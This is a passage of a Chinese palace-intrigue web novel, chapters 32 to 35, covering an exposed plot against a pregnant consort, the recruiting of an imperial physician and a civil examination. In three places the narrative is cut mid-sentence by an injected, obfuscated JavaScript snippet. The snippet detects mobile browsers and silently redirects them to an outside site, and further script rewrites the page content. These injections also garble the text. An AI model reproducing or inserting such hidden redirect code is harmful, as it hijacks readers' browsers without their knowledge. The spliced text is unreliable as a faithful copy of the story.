除了徐四,负责沈明珮滑倒那段宫道的宫人在一个时辰后都被放出宫正司。众人互相搀扶着走到外面,少了哪个人一目了然。 “该死的东西,自己不做人事还拖累我们一起受刑!”一个脾气爆的宫女骂骂咧咧。 她的斥骂无人回应。大家都已疲惫至极,没有精力再去痛骂罪魁祸首。这宫女也已精疲力竭,痛骂徐四的声音并不大,不过骂了几句就停下来。一行人沉默着回到宫人房。 普通宫人没有请太医的资格,甚至连普通医者也并非随叫随到,几人回到宫人房,还要自己包扎。 “嗨,咱们也是一起蹲过牢的人了,就互相帮帮忙吧。”在艰难的自我包扎中,有人提议。 赵德光拿着供词前去乾清宫,正好撞上同样要给皇帝呈上供词的孙指挥使。 “孙大人,还真是巧啊。” 孙指挥使听到赵德光不阴不阳的招呼,拱手行礼:“见过赵大人。” “孙大人,一起进去吧。”赵德光说着,抢先一步踏入乾清宫。 孙指挥使眯了眯眼睛,紧随其后。 皇帝看见自己的两个心腹一前一后面带不虞地走进乾清宫,登时就乐了。 “你们两个这是怎么了?”他指着两人问。 赵德光和孙指挥使不约而同地看向对方,又不约而同地把头撇开。最后,是赵德光先上前一步。 “陛下,宫道残冰涂油一案已有结果。”说着,他将徐四的供词递上去。 皇帝看过供词,没等他做出反应,又一份供词送到他面前。 “陛下,臣也有结果上报。” 皇帝又接过孙指挥使手中的供词。只见上面的文字与赵德光那一份指向同一个人。 “赵德光,把她给朕押过来。” 孟美人在皇帝封宫后心便一直悬着。直到司礼监太监破门而入,她的心终于彻底沉下去。 “要去哪里?带我走吧。”她理了理衣服和头发,主动跟在赵德光身后。 于是皇帝便看到孟美人不靠司礼监押送主动走进乾清宫。他抓起两张供词,直接扔到她脚边。 “你有什么可说的?” 也许是已经知道证据板上钉钉,孟美人没有捡起供词,甚至没有向皇帝行礼。 “我没什么可说的。贤嫔的母亲本是我母亲的庶妹,当初是要伺候我母亲的,结果现在反倒成了宜人,贤嫔也不过是一个妓子的外孙女,如今却成了娘娘,我心中当然不平。而且我的父母亲人因贤嫔兄长舅父而死,我作为受害者之女,凭什么不能为他们报仇?要杀要剐,随陛下处置。” “你父母通敌叛国,你本应一同就死,朕念你入宫侍君,饶你一命,不想你反而怀恨在心,谋害宫妃,残害皇嗣。朕宫中竟有如此恶妇!” “来人,传朕旨意,”皇帝一声令下,事先已被召来的司礼监秉笔太监立刻准备记录诏令,尚宫局司簿亦着手记录,“美人孟氏,出于通敌之家,侥幸留得性命。不念圣恩,不省自身,谋害高位,残害皇嗣,不堪为天子妃,褫夺美人封号,废为庶人,赐白绫三尺,不入妃陵。” 皇帝说完,立刻有人把孟美人拖下去。她被带回到自己宫殿,而后在赵德光的监督下悬梁自尽。 一个时辰后,宫内解禁。 32. 戳穿 寒露将熬好的药汤递到沈明珮手里,沈明珮端着药碗,苦着脸一饮而尽。药汤见底的同时,寒露立刻把碗从沈明珮手中拿走,又在她手心里放了个蜜饯。 “娘娘今天喝药喝得很痛快呢,快把蜜饯吃了吧。”她笑眯眯地说,语气就像哄小孩儿一样。 沈明珮无奈。 待嘴里再没有苦味,她将蜜饯咽下去,问寒露:“你送云太医出宫时有没有听到什么风声?” “娘娘,何止是风声,”寒露立刻打开了话匣子,“司礼监和锦衣卫共同审讯,查出幕后黑手是孟美人。陛下当即将孟美人赐死,参与行动的宫人也被判夷三族,他本人更是被活活杖毙,就在宫正司院内,宫里不在各位主子名下的宫人都要去观刑。” 说到这里,她心有余悸,压低声音道:“奴婢路过宫正司时往里面看了一眼,那人浑身上下已经没有一处好肉了。” “确实挺狠,”沈明珮点头,“宫里直接被殴死的宫人可不多。” “是啊,但是这次是陛下亲自下旨,和其他情况不同嘛。” 本朝妃嫔不得私自处死宫人,需报帝后批准,违者轻则降位,重则被废。 两人正说着话,听到寝屋外传来的跪地问安声,寒露立刻站起身,把寝屋门打开。 皇帝不紧不慢地向前走,已经走到寝屋门前。见门打开,他直接便走进来。 寒露立刻跪到地上。 “妾见过陛下。太医令妾卧床静养,不得起身,望陛下恕罪。”沈明珮是起不来的,只在床上做了行礼的动作。 “不必多礼,你好好养身子便可,”皇帝不以为忤,坐在床边,“对你动手的人朕已经查出来了,也已经将她处死,并派人传达六宫,你可以放心了。” 沈明珮点点头,低声说:“妾也有所耳闻,是孟美人吧?” 她的声音里有些淡淡的悲伤,让皇帝不由自主地握住她的手。 “孟氏心思狠毒,谋害表亲与皇嗣,不堪为妃,你作为表妹没什么对不起她的,朕已将其严惩,你莫要多想。” “陛下误会了,妾不是这个意思,”沈明珮摇摇头,“妾只是想到,孟氏总是认为妾的阿娘要给她的阿娘为奴做婢,妾的嫡母也一直认为妾的兄长、妹妹以及妾本人都该给她的孩子们当牛做马。陛下?” 抓着沈明珮双手的手突然死死攥住,皇帝原本平和的面色也多了些阴沉。 “陛下,您抓疼我了。”沈明珮骤然抬高声音,皇帝才回过神来,松开死死攥着沈明珮的手。 “抱歉,是朕走神了,”他一脸歉然,“总有些人觉得自己出身高贵,其他人都应该为他牺牲一切。他们会为自己的所作所为付出代价的。” 沈明珮了然,皇帝这是想到自己了。 “陛下一定会让他们付出代价的,”她抬首看向皇帝,一脸笃定,“妾相信陛下。” 沈明珮的神色太过恳切,以至于皇帝脑内热血上涌,一时间忘了自己本来要说什么,勉励了她几句后便离开长春宫。 到了夜里,沈明珮躺在床上,翻来覆去睡不着。她仔细回忆寒露的说法,总觉得有些地方连不上。 “寒露!”她坐起身。 “娘娘?”寒露听见呼喊声走过来,看到沈明珮坐起身立刻冲上前去,“我的娘娘啊,您这是要干什么啊。” “寒露,”沈明珮一脸严肃地打断她,“从我摔倒昏迷到现在的所有事,你再从头到尾一字不漏地讲一遍。” 寒露见沈明珮面色凝重,也认真起来,事无巨细地全部复述。 “娘娘,您是觉得这里面有什么问题吗?” “我不确定,”沈明珮没有肯定,但也没有否认,“既然孟氏的贴身宫女没有被处死,你明天再去找她问问孟氏决定动手前都碰到过什么人,跟他们又有什么交流。” “是。”寒露应下。 第二天一大早,寒露就匆匆出门,直奔原孟美人的贴身宫女被贬的地方而去。等到她到地方时,早就没有了那个宫女的身影。 “主子,那个宫女已经死了。”扑了个空的寒露沮丧地回来。 “这样吗?”沈明珮沉吟,“此事就到此为止,你也不要同别人提起。” 寒露应下。 此事便算是放下了。沈明珮安心静养,整个长春宫正殿皆闭门不出,所有人都没想到居然会有人在这时找上门来。 “宁妃姐姐怎么来了?”沈明珮靠着床头坐在床上,看着风风火火闯进来的宁妃。 “妹妹好不容易养到满三个月,可以出长春宫了,结果摔了这一下子后又要在自己宫里静养,前后算下来,宫里的姐妹们都有多久没见过妹妹了?”宁妃非常自来熟地坐到床边,“我也有些想妹妹了,就过来看看。” 说着,她拍了拍手,启祥宫的宫女端着一个盒子走进来。 “妹妹别见怪,姐姐我这次可是带着礼物来的,五十年人参,妹妹可喜欢?” “多谢姐姐慷慨解囊,”沈明珮说着吩咐寒露,“把人参收好。” 寒露带着启祥宫宫女离开,寝屋内只剩沈明珮与宁妃两人。宁妃脸上仍挂着笑容,却见沈明珮收敛了笑意。 “妹妹这是怎么了?”她故作诧异。 沈明珮盯了她半晌,才说:“宁妃姐姐,行凶者重返案发现场的感觉怎样?” 话音落下,沈明珮清楚地看见宁妃眼里闪过一丝慌乱。这慌乱转瞬即逝,立刻被她压制,而后她又堆起笑容。 “妹妹这是在说什么呢?什么行凶者,什么案发现场,怎么都是姐姐听不懂的话?” “姐姐当真听不懂吗?”沈明珮容色平静,却是一副不容置疑之态,“支使孟美人对我下手,又在孟美人事败身死后携礼拜访,姐姐可觉得有趣?” 宁妃面上的笑容霎那间荡然无存。她警惕地绷直上半身,戒备地看向沈明珮,手不由自主地交叉相握,放在身前。 “妹妹这是在说什么?”她矢口否认,“要害妹妹的不是孟美人吗?司礼监和锦衣卫一同查出来的,陛下都将她废为庶人赐死了,妹妹把罪过扣在我身上是做什么。” 沈明珮久坐之下已有些乏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011569|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,右手撑着床板,换了个舒服的姿势。 “宁妃娘娘,此处没有别人,寒露也已关好门,您不必再掩饰了。” 宁妃的脸色彻底冷下来。她倏地站起身,精致的衣装布料抖动,带起一股劲风。她居高临下看着沈明珮,久居高位养成的压迫感倾泻而出。 “你是怎么发现的?” 面对宁妃威势,沈明珮怡然不惧,将自己的判断娓娓道来:“孟美人恨我,这不假,但她家最高也只是一个主事,又因为定国公府三爷一案被满门抄斩,她哪来的人脉为她做事?又怎么可能拿出一张五十两的银票?更重要的是,她的贴身宫女还在她被赐死后不久便暴亡。她刚入宫时是才人,不能自己带侍女入宫,她的贴身宫女也是宫中派过去的。陛下没必要把这宫女也处死。” “言之有理,没想到本宫此番还是露了些破绽,”宁妃抚掌赞叹,“那你为什么又认为幕后之人是本宫呢?” “因为娘娘您今天来了呀,”沈明珮见宁妃面露疑惑,笑了,“我开玩笑的。因为宫里有皇子的只有皇后、您和宸妃。我是在宸妃刚生产结束时摔倒的,可以排除宸妃,皇后也可以排除,就剩您了。” “为什么排除皇后?”宁妃又问。 “皇后的儿子是太子,她若是要用这种方式保住儿子的地位,应该对每个有孕的妃嫔,至少是家境显赫的妃嫔下手。若是专门针对我,她会更针对我本人的性命,而不是只对我肚子里的孩子下手。” 宁妃什么片刻,才缓缓点头。 “没错,是本宫做的。本宫也没多做什么,只是派人在孟氏每日请安要经过的宫道上派几个人,说几句话,之后又给孟氏要找的人一张五十两的银票而已。现在此案已经盖棺定论,你便是知道了真相又能怎样?” 沈明珮撇着嘴耸了耸肩。 “我也没打算怎样。我只是好奇,之前何美人险些小产,是不是也和你有关系?” “是。”既然已经被戳穿,宁妃索性也不再隐瞒,大大方方地承认。 沈明珮没想到这次宁妃如此光棍,被这只有一个字的回答震了一下。顿了数息,她才缓缓摇头。 “大齐每三年就有一次采选。每次采选都会有数人入宫,这些人里每一个都会被陛下召幸,都有可能有孕。宁妃娘娘,您为了保持二皇子的地位,对宫里有孕的妃子下手,可宫里注定会有越来越多有孕的妃子,您杀得完吗?” 不等宁妃再说什么,沈明珮突然高呼:“寒露,你还没把宁妃娘娘的礼物放好吗?” “娘娘稍等,奴婢马上就好!”寒露死死摁着宁妃的侍女,说完后过了几息拉着她的胳膊回了寝屋。 “娘娘,已经登记造册,放入库房了。”她对沈明珮说。 沈明珮像是什么也没发生一般看向宁妃。 “宁妃姐姐,妹妹身子未好,还需静养,虽然与您交谈甚欢,也还是有些累了。不如我们改天再聊?” 宁妃点点头,带着宫女离开。直到目送她们走出长春宫正殿,沈明珮才像突然卸了力气一般躺回到床上。 33. 收服 勇毅伯府内,刘芸静静坐在案前,案上放着一封信。 “阿娘,阿姊来信啦?”沈明玥闻风跑来,蹬蹬蹬地窜到刘芸身边,伸着头看沈明珮的信。 “云太医弟弟……介绍……”她只扫到了一眼,刘芸就把信抽走,叠一叠烧了。 “明玥,你先出去,阿娘有事要做。” 沈明玥点点头,慢慢走出去。临到门口时回头看了一眼,见刘芸没有留她的意思,以她平常的步速彻底离开。 刘芸见女儿的背景消失,起身关好门,铺纸研墨,提笔写下一封介绍信。放下笔后,她叫来管家,将信递了过去。 “把信送给京师书院山长,以勇毅伯府的名义。” 管家接过信离开,过了两个时辰才回来,一进府就直奔刘芸院子。 “老夫人,事已办妥。” 刘芸没让他离开,他也很自觉地继续站在原地,等刘芸又写好一封信,交到他手里。 “你把这封信递到宫里。” “是,老夫人。”他双手接过信,行礼后离开。 刘芸静坐了半晌,站起身,走向沈明玥所在的小屋。 “阿娘?”沈明玥听到脚步声,匆忙将手中的话本子收好,而后一脸无辜地看着刘芸。 刘芸看她这幅样子,好气又好笑。 “我给你布置的课业都完成了吗?”她点了点沈明玥的额头,“今天该检查了,你准备好了吧?” 沈明玥捂着额头,嘴瘪了下来。 检查结果一如既往,经史子集糟糕得让人不忍直视,西文、算术这类杂学倒是非常优秀,纯粹的偏科战士。 刘芸无奈摇头,正要说些什么,门房匆匆跑进来。 “老夫人,门外有个人拿着舅老爷的信,说是舅老爷让他在伯府内备考,小的见信不似作伪,就先把人领进来了。” “带我去看看,”刘芸跟门房向外院走,快走出沈明玥的小屋时突然转过头,“明玥,刚才考察出错的地方,你自己翻书找出正确答案。” 以为母亲出去忙,自己能溜个号的沈明玥瞬间蔫了下来。 门房将来人安置在会客室内。他安静地坐在椅子上,见门被打开,才看向门口。 “芸娘,好久不见。”看见刘芸,他面带笑意,声音温润,一如当年。 “孔诚……” 刘芸的大脑一片空白,各种情绪冲击着她的思绪。意识混沌间,她听见自己的嘴已经不由自主地叫出来人的名字。 孔诚当天便在勇毅伯府客院住下了。 “阿娘,今天来的人是谁啊?”晚饭时,沈明玥好奇地问刘芸,“是当年那个叔叔吗?” 刘芸矢口否认:“不是。来人是你舅舅的友人,也是举人,准备参加过些天的春闱。莫要再提当年那个人,此事若传出去对你我甚至对你阿姊都没有好处。” “哦,”沈明玥低下头,“我知道了。” 沈明珮也在晚饭后看到了勇毅伯府递来的信。 “阿娘速度很快啊。”她啧啧称奇。 收好信,她算了下日子,只等两天后云太医再来看诊了。 云太医下值时天已黑透。他拖着疲惫的步伐走进外城的家中。他家是一个小两进院,内部陈设简单。跨过垂花门,走进正院,他看看正屋的灯正亮着,一大一小两个身影坐在餐桌旁,并未动筷,显然是在等他回来。 他推开正屋门。 “阿娘,我回来了。”说着,他坐在桌旁仅剩的椅子上,看到了一顿明显比平日丰盛的晚餐。 “可是家里有什么喜事?” “是大喜事,”云母笑着将一片肉片夹进他碗里,“你弟弟不是该进书院了吗?勇毅伯府已经把他介绍进京师书院了,束脩交了,费用也由伯府负担。” 云太医越听越心惊,不知不觉间已经放下筷子。 “娘,您可有想过勇毅伯府对谨行这么好是图什么?”他紧皱眉头,他弟弟察觉到气氛不对,也看过去。 “伯府管家说是感谢你为宫里的贤嫔娘娘保住皇嗣啊,”云母茫然,“难道不是吗?” 云太医无奈。他父亲原是秀才,过世后族里抢占家中财产土地,把母子三人赶出来,他母亲一人摆摊拉扯大兄弟两个。家中最困难事,母亲节衣缩食送他进教医术的私学学医,学成后他通过考试进入太医院。如此弟弟才有钱上私塾读书。 接触贵人久了,他也知道弟弟的天赋还算不错,但上一个好书院的钱家里确实没有。勇毅伯府上来就把弟弟介绍进京城除国子监外最好的京师书院,还为他代付了学费,这是要让他做多大的事啊! 他已经感觉刽子手在向自己招手了,偏偏这么好的机会他也不想弟弟错过。 “娘娘既然这么说,那应该就是,”他心中叹气,面上却很平静,“我下次看诊得好好谢谢娘娘。” “是该谢谢娘娘,”云母赞同,“说白了为娘娘保住皇嗣本来就是你的分内之事,娘娘帮谨行是她心善。” 一家人心思各异地吃完饭。第二天一早,云谨行就收拾好东西兴高采烈地直奔书院而去,云太医纠结地看着他的背影消失在自己的视线中,而后叹了口气,拖着慢腾腾的步子走向太医院。 很快便又是请脉。云太医职业素养属实没得说,纵使心中忐忑,诊脉的手依然很稳。 “恭喜娘娘,”他垂着头,态度恭敬,“娘娘先前摔倒的伤害已除,接下来只要不接触有害之物,安心静养,定能够生下健康的皇嗣。” “有劳大人了,”沈明珮说着,一旁的寒露端着早已准备好的荷包走上来,“大人多次救我于水火,我不能毫无表示,这点银钱就当是对大人的谢礼了。” 荷包内并非银两,云太医拆开看,竟是两张叠得整整齐齐的银票。 “娘娘……” “面额不大,算不上多少银子,大人便收下吧。”沈明珮笑得温和。 “谢娘娘,”云太医重新将银票叠好,放回到荷包内,又看了看四周,垂下头说,“娘娘,臣有要事相报。” “你们出去吧。”沈明珮对宫人说。 沈明珮说罢,寒露和白芷都离开寝屋。寒露走出房间后关上房门,屋内只剩下沈明珮与云太医两个人。 “云大人有何时要报?” 云太医并没有立刻回话,沉默片刻后咽了咽口水,才说:“臣前天晚上归家时得知,臣的弟弟经勇毅伯府介绍进了京师书院,并且一应费用均由勇毅伯府支付。” “确有此事。”沈明珮承认。 云太医又沉默数息,咬咬牙说:“臣谢娘娘厚爱,但至少请让我们自己担负费用。” 寝屋内顷刻之间便静下来。安静地越久,云太医越觉自己的心跳得越响,几乎要冲破他的胸膛。 沈明珮把玩起自己的指甲,见云太医头上冒出薄汗,才说:“你们家担负得起吗?若本宫没记错,你们家本是被宗族侵占田产赶出去的孤儿寡母,直到你当上医师后情况才好转,应该不足以支付在京师书院读书的花销吧?” “娘娘说的是,”云太医承认,“只是无功不受禄,臣为娘娘看诊只是尽一个太医的职责,当不起娘娘如此厚待。” 说罢,他垂下头,看着眼中的地面,只等沈明珮发落。 片刻后,他听到了沈明珮的笑声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014791|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “云太医莫不是以为本宫想让你做什么不法之事?” 他蓦地抬起头,看向沈明珮。 “大人这是想到哪里去了?本宫不过是想与大人结成互助之盟,想到大人家里有困难,便帮上一帮,以示诚意,大人怎还反视其为洪水猛兽?大人也不想想,以宫规之森严、司礼监之强力,谁能成功行不轨之事?我为何要把自己置于危险之下?” 云太医被戳穿心事,尴尬不已。 但沈明珮下面的话又让他肝胆俱裂:“何况便是本宫真要你做些什么,你有拒绝的权利吗?你已被视作我的太医,便是不站在我这边,难道还能转投别人?争斗之中向来是谁也不站的最先死,你难道不明白吗?” 云太医沈默了足有半刻,才艰难向前行了一礼。 “娘娘恕罪,是下官想左了,臣多谢娘娘相助,必会让舍弟努力进学,以报娘娘资助之恩。” “嗯,”沈明珮漫不经心地回应,“本宫日后的健康就有劳大人了。” 云太医立刻保证:“娘娘放心,下官必尽平生所学保娘娘身体康健。” 云太医离开后,寒露钻进寝屋,而后再次把门锁上。 “娘娘,可是那姓云的不识好歹?”她明明两手空空,却像是磨刀霍霍。 “不识好歹倒算不上,就是胆小如鼠,偏偏又想象力丰富,”沈明珮嗤笑,“他以为我要让他害人。” 寒露也属实无语。 “那……我们还要资助他弟弟吗?” “资助啊,万一他真中进士了呢?哪怕只中了举人,也可以授官,说不准就有用得上的时候。” 说白了还是沈明珮的势力都在武将,文官这边一片空白,所以只要有丝毫的可能都要尝试一下。 另一边,得了准信的云太医终于能如释重负地回家。回到家时,弟弟云谨行也恰好下学归家。 “兄长。”云谨行停下脚步,让兄长先行,被喊着一起进门。 兄弟并肩而行,云太医问他在书院感受如何,他一一作答。 “谨言,谨行,吃饭了!”母亲的声音自厨房传来,兄弟俩立刻去厨房帮忙。 一家人忙忙活活地将晚饭摆在桌上,正欲开饭,云太医正了颜色。 “娘,谨行,我要说一件事,”见他神色严肃,云母和云谨行也认真起来,“谨行现在就读的京师书院是顺天府内除了国子监外最好的学府,费用是我们目前承担不起的。” 云母变了脸色。 “你怎么才说啊?娘娘想要我们做什么?” “娘娘现在并未让我们做什么,”云太医苦笑,“但以后不知会如何,谨行若是真有幸及第,大抵也得为娘娘做事。” “那就做吧!”出乎云太医的意料,云母居然立刻便做出决断。 “自从娘娘封嫔,你在太医院的待遇好了多少?眼下你已经是贤嫔娘娘的人了,不论这份资助你接不接下都一样。何况娘娘后面有一个侯府、一个伯府,还有数个在当打之年的猛将,能在这时归附到她麾下,一旦她能再往前一步,我们还得不到好处吗?”见云太医仍有犹疑,她又加了把火,“当初你父亲为你取名谨言,是希望你谨言慎行,没想到居然过于谨慎。在宫中,凡有点地位的,谁能不争斗?从你负责的主子封嫔后你就不可能远离争斗了。这种情况下,娘娘还资助你弟弟上学,你还有什么可犹豫的?” “阿兄,娘说得对!”云谨行不愿放过这么好的读书机会,在一旁也是连连点头。 在母亲和弟弟的夹击下,云太医几日来一直有些混沌的脑子终于定下来——不管怎样,贤嫔的船他是下不来了。 34. 春闱 此后云太医一切如常。 进入二月,前朝后宫都有盛事。先是三皇子的满月礼,满月宴后宫众人云集,皇帝亲至,为三皇子赐名宏瀚。此后便是宸妃的册封礼。据说册封礼非常盛大,官员与外命妇均有参加,花销也不小。 但这些都和沈明珮没有关系。她在长春宫内静养,只能从宫人口中描绘的景象想象当日的盛况。 “娘娘也不用太遗憾,您不能去就不用怀着孩子跪下行礼了,也省得累着。”寒露见沈明珮似有遗憾,轻声劝慰。 “你说得对,不去也有不去的好处。”沈明珮深以为然。 但三皇子的满月宴以及宸妃的册封礼在二月里又不是最大的盛事。册封礼后,紧接而来的便是三年一届的春闱,各路举子云集京城,誓要在会试中夺得一个好名次。 京师内,热闹与紧张并存。 二月初九,孔诚早早收拾好行囊,只等上考场。走出客院,管家早已恭候多时,见他出来上,快步走到他身前。 “孔先生,老夫人让我问您,可要乘伯府的马车?” “不必了,”孔诚摇头,“在京城只有女眷的勇毅伯府马车上下来一个会试考生,算是什么事?” 勇毅伯府距离贡院并不远,孔诚索性步行前往。京师内城多是达官贵人,商铺酒楼亦是高档,就连客栈的房间价格也是让孔诚望洋兴叹。 恰逢会试,客栈内亦有举子带着包袱赶赴考场,客栈内还支了口灶,专为举子准备会试时的吃食。孔诚看了看价格,心中摇头,悄然离开。 贡院附近也支了个摊子,一个大娘在五城兵马司的看管下卖烧饼。烧饼卖相不错,价格也合适,真有举子购买。 孔诚算了算自己带的食水,走到摊子前,摆下几文大钱。 “大娘,来两个烧饼。” 一番忙活,贡院的门也要开了。孔诚背着新打包好的包裹站在队伍末尾,等待队伍开始前进。向前看,门前已经乌泱泱站了一片人,排成数队,向后看,他才入列没多久,后面又站上一撮人。 到了时辰,贡院大门洞开,考生们有序入内。轮到孔诚,从五城兵马司抽调来的兵士先是搜身,而后检查包裹,经检查均无误后给了他三支蜡烛和一个号牌。 孔诚走到号牌边。他运气不错,没碰上粪号这等影响考试的号码,备好笔墨砚台,等考卷发下后立刻奋笔疾书。 “寒露,会试应该开始了吧?”长春宫内,沈明珮突然问寒露。 寒露疑惑,会试当与勇毅伯府无关,主子怎么突然没头没脑地问了这么一句? “应该是开始了吧。”她自己也不太清楚。 好在沈明珮也没再多问。 二月十一,第一场考完,考场大门打开。孔诚一身疲惫地走出贡院,还没走几步,就被勇毅伯府管家拽到马车上。 “我不是说不用伯府接送吗?”孔诚刚能喘口气,就要下车,管家忙把他拉住。 “老夫人说了,她兄长身在东北,她派我这个管家照顾兄长友人,是理所应当。而且这马车上没有伯府徽记。” 孔诚靠在那车座椅上,不再言语,没几息竟然直接在车上睡着了。 参考的举子和家属们确实没有看见勇毅伯府的马车,但这一切逃不过皇帝的眼线。在暗处监视贡院的锦衣卫在结束任务后就直奔皇宫而去。 二月十二,会试第二场开考后,皇帝驾临长春宫。 沈明珮经过休养,已经能够下地,在正屋内行礼。 “妾见过陛下。” 预想中的“起来”并没有立刻出现,她保持着行礼的姿势到腿上不稳,才听到皇上那句如同赦免一般的“起来吧”。 但她犯了什么错? 皇帝似乎并无兴师问罪之意,先允她回寝屋休息,又问她身体如何。 “云太医医术高超,妾已无大碍,按医嘱休养便可。” “不错。”皇帝点点头,但注意力似乎又并未真在沈明珮的身体上。 白芷端着木盘走上来,给皇帝呈上茶,又给沈明珮端上水,随后侍立在旁。皇帝接过茶杯,轻抿了一口。 “茶不错。”他评价道。 “陛下赏赐的茶,自然是极好的。”沈明珮恭顺回应,头轻轻低下些许,掩盖住她眼底的疑惑。 皇帝又抿了口茶,而后放下茶杯。他的动作带了些力气,茶杯接触桌案,发出刺耳的响声。 沈明珮的心跳漏了一拍。 “听说,今科春闱,有举子是你们勇毅伯府的人?” 就着皇帝冷淡的语气,沈明珮瞬间明白皇帝这番发作是为了什么。 “陛下,您是知道的,勇毅伯府就阿兄一个成年男子,阿兄除了在先前的蓟辽军外又没什么朋友,哪里能有一个举子?” “哦?”沈明珮的话似乎取悦到了皇帝,至少他不再像先前一般冷淡,“那此人为何会住在勇毅伯府?” “他是妾舅舅的友人,早年中举后得罪了当地大户,跑到宁远居住。前年冬天您不是斩了一批官员吗?其中也有当年那家大户的靠山,他见危险已除,就想考一次会试,不论结果如何也都是圆了年轻时的梦想。” 刘顺早就把孔诚的来历安排得明明白白,沈明珮照着他编的说就行了。 “原来如此。”皇帝了然。 问罪不了了之,皇帝没有再留,说了些“注意养胎”之类的话就离开。 沈明珮行礼相送,等人走后收起恭敬,只余面色阴沉,安静地回到寝屋。 等到第三次考试将要结束时,锦衣卫的调查报告也躺在了乾清宫的御案上。上面密密麻麻地记载了孔诚的身份、经历,与沈明珮所言几无差别。 “做得不错,退下吧。” 锦衣卫指挥同知行礼告退,只留皇帝一人靠在椅背上。过了一会儿,他将报告折叠,放入一摞堆好的密折中。 孔诚在会试结束后就提出离开勇毅伯府。 “不必了,你就继续住着吧,”刘芸阻拦道,“反正陛下已经知道你住在勇毅伯府之事了。” 孔诚瞳孔地震。 “没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018664|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”刘芸满不在乎,“我兄长早就把你的经历安排好了,经得起查。” 这次孔诚没再坚持离开:“行,只要不影响你们就好。” 于是会试放榜后,是勇毅伯府管家去看的排名。会元,正是景宁十七年广州府亚元,孔诚。 管家与宣布成绩的小吏一同回到伯府,门还没打开,就听到响亮的敲锣声。 “广州府举人孔诚可在?” 守在门口的孔诚立刻打开门。 “我就是。” “恭喜会元老爷!”小吏又敲了数下锣,说了一堆吉祥话,门房也满脸笑容,将预先备好的赏银送上。 得了赏银的小吏欢欢喜喜地敲着锣离开。 乾清宫内,会试杏榜正摆在皇帝的案头。见刚刚命人调查过的名字出现在榜首,皇帝玩味地笑了。再往后看,他又在第五名看到了一个熟悉的名字。 他摩挲着下巴,兴味盎然:“这届春闱,真是有意思。” 四月二十一,建极殿内,殿试正式开始。 自黎明起,已过殿试的贡士们就已有序进入建极殿。经点名无误后,礼部官员散卷,而后贡士们赞拜、行礼,方正式开考。 与县试到会试五种考试不同,殿试只考策问,且每场考题均根据近几年政局由皇帝亲自出题。当了这么多年师爷的孔诚一打开试卷看到题目,心中便有数了,笔走龙蛇间答案便跃然纸上。 在建极殿监督殿试的锦衣卫指挥佥事事先得了皇帝命令,刻意关注孔诚的殿上表现,见此心中点头。他又调转视线,看向皇帝点名需要关注的另一人。 此人他也有印象,前年冬天国子监生员在宫门前静坐,要求严惩定国公府时,他也曾跟随指挥使前去维持秩序。当日站在监生最前的顺天府解元此刻正奋笔疾书,全无当日的激愤之态。 到暮时,考试结束,贡士交卷。所有试卷经受卷、掌卷、弥封等程序收存,直到阅卷日由皇帝亲自委派的读卷官批阅。最终,十本评价最高的卷子被送入乾清宫。 这十份送达皇帝的试卷终于可以显露答卷之人的姓名。皇帝一本本看过去,还真看到了自己感兴趣的两个名字。 他将这两本试卷挑出来,率先阅读。看过之后,静静地把两本试卷放在一旁,翻阅其他试卷。全部看过一遍后,他很快把名次定下来。 此时天已经黑了,皇帝站起身,推开乾清宫正殿正屋的大门。 “赵德光,”他命令道,“摆驾长春宫。” 长春宫内,沈明珮已经歇下,又被寒露叫醒。她费尽力气把自己从床上拔起来,刚披好衣衫,皇帝已经闯进来。 “朕只是来看看你,不必麻烦。”他说着,坐到寝屋的小几旁。 皇帝说得没错,他坐了一会儿便离开了,只留被扰了清梦的沈明珮疑惑地坐在床上。 “他这是做什么?” 这份疑惑在第二天的传胪大典中终于有了答案。 “娘娘,喜报!”已经知道孔诚存在的寒露向沈明珮报喜,“孔先生得了榜眼!” 35. 生产 盛大的庆贺后,新科进士各自就官。孔诚领翰林院编修一职,留在京城。他没再住在勇毅伯府,而是在外城购了间一进小院。 与此同时,为迎接新科进士获职,各部与各地官职早已调整完毕。沈总督的担忧似乎正在成为现实,春闱之前沈家大爷便被外放到山东做知州。 进入六月,宋莲南下采购,留秋霜打理铺子。满载而归的她在经过山东时,突然被人惊了马车。 “东家,有个女人在路上晕倒了。”车夫高声说。 “把她抬上来。”她放下算盘,吩咐外面。 车夫将人抱上车,放到座椅上。盖住女人脸的头发顺势滑开,露出一张让宋莲诧异的脸。 这人她认识,原是尚食局内厨艺最好的宫女,同她一起被放出宫。 “东家,这人怎么办?” 面对车夫的请示,宋莲垂下眼帘。 “带走,到下一个城市找医师给她看病。” 